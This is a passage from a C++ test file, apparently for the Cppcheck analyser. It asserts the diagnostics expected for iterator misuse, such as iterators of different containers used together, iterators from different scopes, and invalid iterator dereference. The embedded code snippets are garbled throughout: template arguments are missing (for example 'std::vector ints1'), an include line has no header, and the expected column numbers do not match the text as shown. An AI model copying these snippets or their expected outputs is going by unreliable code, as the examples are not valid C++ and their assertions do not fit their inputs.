ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator8() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints2.end(), ints1.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:84]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(foo.bar.begin(), foo.bar.end()-6, ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:90]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6839\n check(\"void f(const std::wstring& a, const std::wstring& b) {\\n\"\n \" const std::string tp1 = std::string(a.begin(), b.end());\\n\"\n \" const std::wstring tp2 = std::string(b.begin(), a.end());\\n\"\n \" const std::u16string tp3(a.begin(), b.end());\\n\"\n \" const std::u32string tp4(b.begin(), a.end());\\n\"\n \" const std::string fp1 = std::string(a.begin(), a.end());\\n\"\n \" const std::string tp2(a.begin(), a.end());\\n\"\n \"}\");\n ASSERT_EQUALS( // TODO \"[test.cpp:2]: (error) Iterators of different containers are used together.\\n\"\n // TODO \"[test.cpp:3]: (error) Iterators of different containers are used together.\\n\"\n \"[test.cpp:4:26]: (error) Iterators of different containers 'tp3' and 'a' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:26]: (error) Iterators of different containers 'tp4' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator9() {\n // Ticket #1600\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2481\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Execution path checking..\n check(\"void foo(std::vector &r, int c)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" if (c)\\n\"\n \" {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] (error) After insert(), the iterator 'aI' may be invalid.\", \"\", errout_str());\n }\n\n void iterator10() {\n // Ticket #1679\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set s1;\\n\"\n \" std::set s2;\\n\"\n \" for (std::set::iterator it = s1.begin(); it != s1.end(); ++it)\\n\"\n \" {\\n\"\n \" if (true) { }\\n\"\n \" if (it != s2.end()) continue;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:39]: (error) Iterators of different containers 's1' and 's2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator11() {\n // Ticket #3433\n check(\"int main() {\\n\"\n \" map myMap;\\n\"\n \" vector myVector;\\n\"\n \" for(vector::iterator x = myVector.begin(); x != myVector.end(); x++)\\n\"\n \" myMap.erase(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator12() {\n // Ticket #3201\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (it == map2.end()) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (error) Iterators of different containers 'map1' and 'map2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (map2.end() == it) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Iterators of different containers 'map2' and 'map1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(std::string &s) {\\n\"\n \" int pos = s.find(x);\\n\"\n \" s.erase(pos);\\n\"\n \" s.erase(pos);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator13() {\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (error) Iterators of different containers 't' and 'a' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n // #4062\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" if(z)\\n\"\n \" it = a.begin();\\n\"\n \" else\\n\"\n \" it = t.begin();\\n\"\n \" while (z && it!=a.end())\\n\"\n \" ++it;\\n\"\n \" while (!z && it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator14() {\n check(\"void f() {\\n\"\n \" std::map x;\\n\"\n \" std::map::const_iterator it;\\n\"\n \" for (it = x.find(0)->second.begin(); it != x.find(0)->second.end(); ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator15() {\n check(\"void f(C1* x, std::list a) {\\n\"\n \" std::list::iterator pos = a.begin();\\n\"\n \" for(pos = x[0]->plist.begin(); pos != x[0]->plist.end(); ++pos) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator16() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" while (it2 != it1)\\n\"\n \" {\\n\"\n \" ++it2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set l1;\\n\"\n \" std::set l2(10, 4);\\n\"\n \" std::set::iterator it1 = l1.begin();\\n\"\n \" std::set::iterator it2 = l2.find(4);\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator17() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \" it2 = l2.end();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" it1 = l2.end();\\n\"\n \" it1 = l1.end();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator18() {\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (++it1 != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1++ != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" if (--it2 > it1++)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:5:15]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void iterator19() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (it1 != l1.end())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:7:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (l1.end() > it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:7] -> [test.cpp:4]: (error) Same iterator is used with containers 'l1' that are defined in different scopes.\\n\",\n \"[test.cpp:7:19] -> [test.cpp:7:13]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\"\n \"[test.cpp:7:22]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:7:40]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set g() {\\n\"\n \" static const std::set s = {1};\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g().find(2) == g().end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:17] -> [test.cpp:6:10]: (error) Same iterator is used with containers 'g()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set f() {\\n\" // #5804\n \" std::set s;\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" for (std::set::iterator it = f().begin(); it != f().end(); ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:53] -> [test.cpp:6:41]: (error) Same iterator is used with containers 'f()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n }\n\n void iterator20() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = it2;\\n\"\n \" while (it1 != l1.end())\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::list l3;\\n\"\n \"std::list::iterator bar()\\n\"\n \"{\\n\"\n \" return l3.end();\\n\"\n \"}\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = bar();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:13] -> [test.cpp:10] -> [test.cpp:11]: (error) Comparison of iterators from containers 'l1' and 'l2'.\\n\", \"\", errout_str());\n\n }\n\n void iterator21() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2 && it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\", // duplicate\n errout_str());\n }\n\n void iterator22() { // #7107\n check(\"void foo() {\\n\"\n \" std::list &l = x.l;\\n\"\n \" std::list::iterator it = l.find(123);\\n\"\n \" x.l.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator23() { // #9550\n check(\"struct A {\\n\"\n \" struct B {\\n\"\n \" bool operator==(const A::B& b) const;\\n\"\n \" int x;\\n\"\n \" int y;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool A::B::operator==(const A::B& b) const {\\n\"\n \" return std::tie(x, y, z) == std::tie(b.x, b.y, b.z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator24() {\n // #9556\n check(\"void f(int a, int b) {\\n\"\n \" if (&a == &b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator25() {\n // #9742\n check(\"struct S {\\n\"\n \" std::vector& v;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" bool operator()(const S& lhs, const S& rhs) const {\\n\"\n \" return &lhs.v != &rhs.v;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator26() { // #9176\n check(\n \"#include \\n\"\n \"int main()\\n\"\n \"{\"\n \" std::map m{ {\\\"a\\\", 1} };\\n\"\n \" if (auto iter = m.find(\\\"x\\\"); iter != m.end()) {\\n\"\n \" return iter->second;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator27() {\n // #10378\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"int f(std::map m) {\\n\"\n \" auto it = m.find( 1 );\\n\"\n \" const int a( it == m.cend() ? 0 : it->second.a );\\n\"\n \" const int b( it == m.cend() ? 0 : it->second.b );\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator28()\n {\n // #10450\n check(\"struct S {\\n\"\n \" struct Private {\\n\"\n \" std::list l;\\n\"\n \" };\\n\"\n \" std::unique_ptr p;\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int S::foo() {\\n\"\n \" for(auto iter = p->l.begin(); iter != p->l.end(); ++iter) {\\n\"\n \" if(*iter == 1) {\\n\"\n \" p->l.erase(iter);\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:24]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void iterator29()\n {\n // #11511\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto v = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g()' is used with container 'v'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g(int);\\n\"\n \"void f(int i, int j) {\\n\"\n \" auto& r = g(i);\\n\"\n \" auto it = g(j).begin();\\n\"\n \" while (it != g(j).end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g(j)' is used with container 'r'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto& r = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator30()\n {\n check(\"struct S {\\n\" // #12641\n \" bool b;\\n\"\n \" std::list A, B;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::list::iterator i = (b ? B : A).begin();\\n\"\n \" while (i != (b ? B : A).end()) {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator31()\n {\n check(\"struct S {\\n\" // #13327\n \" std::string a;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \"};\\n\"\n \"bool f(const S& s) {\\n\"\n \" std::string b;\\n\"\n \" return s.a.c_str() == b.c_str();\\n\"\n \"}\\n\"\n \"bool g(const T& t) {\\n\"\n \" std::string b;\\n\"\n \" return t.s.a.c_str() == b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:13]: (error) Iterators of different containers 's.a' and 'b' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:13:15]: (error) Iterators of different containers 't.s.a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iteratorExpression() {\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(f().begin(), g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" auto size = f().end() - g().begin();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:26]: (error) Iterators of different containers 'A().f()' and 'A().g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A{} .f().begin(), A{} .g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:27]: (error) Iterators of different containers 'A{}.f()' and 'A{}.g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(begin(f()), end(g()), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:28]: (warning) Iterators to containers from different expressions 'f()' and 'g()' are used together. [mismatchingContainerExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().f().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(bar(f().begin()) == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" auto it = f().end() - 1;\\n\"\n \" f().begin() - it;\\n\"\n \" f().begin()+1 - it;\\n\"\n \" f().begin() - (it + 1);\\n\"\n \" f().begin() - f().end();\\n\"\n \" f().begin()+1 - f().end();\\n\"\n \" f().begin() - (f().end() + 1);\\n\"\n \" (void)std::find(f().begin(), it, 0);\\n\"\n \" (void)std::find(f().begin(), it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it, 0);\\n\"\n \" (void)std::find(f().begin(), f().end(), 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end(), 0);\\n\"\n \" (void)std::find(f().begin(), f().end() - 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end() - 1, 0);\\n\"\n \" (void)std::find(begin(f()), end(f()));\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()), 0);\\n\"\n \" (void)std::find(begin(f()), end(f()) - 1, 0);\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()) - 1, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:30]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == f().end()) {}\\n\"\n \" if(f().begin() == f().end()+1) {}\\n\"\n \" if(f().begin()+1 == f().end()) {}\\n\"\n \" if(f().begin()+1 == f().end()+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:34]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(std::begin(f()) == std::end(f())) {}\\n\"\n \" if(std::begin(f()) == std::end(f())+1) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:42]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f<1>().begin() == f<1>().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a.begin().x == b.begin().x) {}\\n\"\n \" if (begin(a).x == begin(b).x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list a, std::list b) {\\n\"\n \" if (*a.begin() == *b.begin()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(f().begin(1) == f().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const uint8_t* 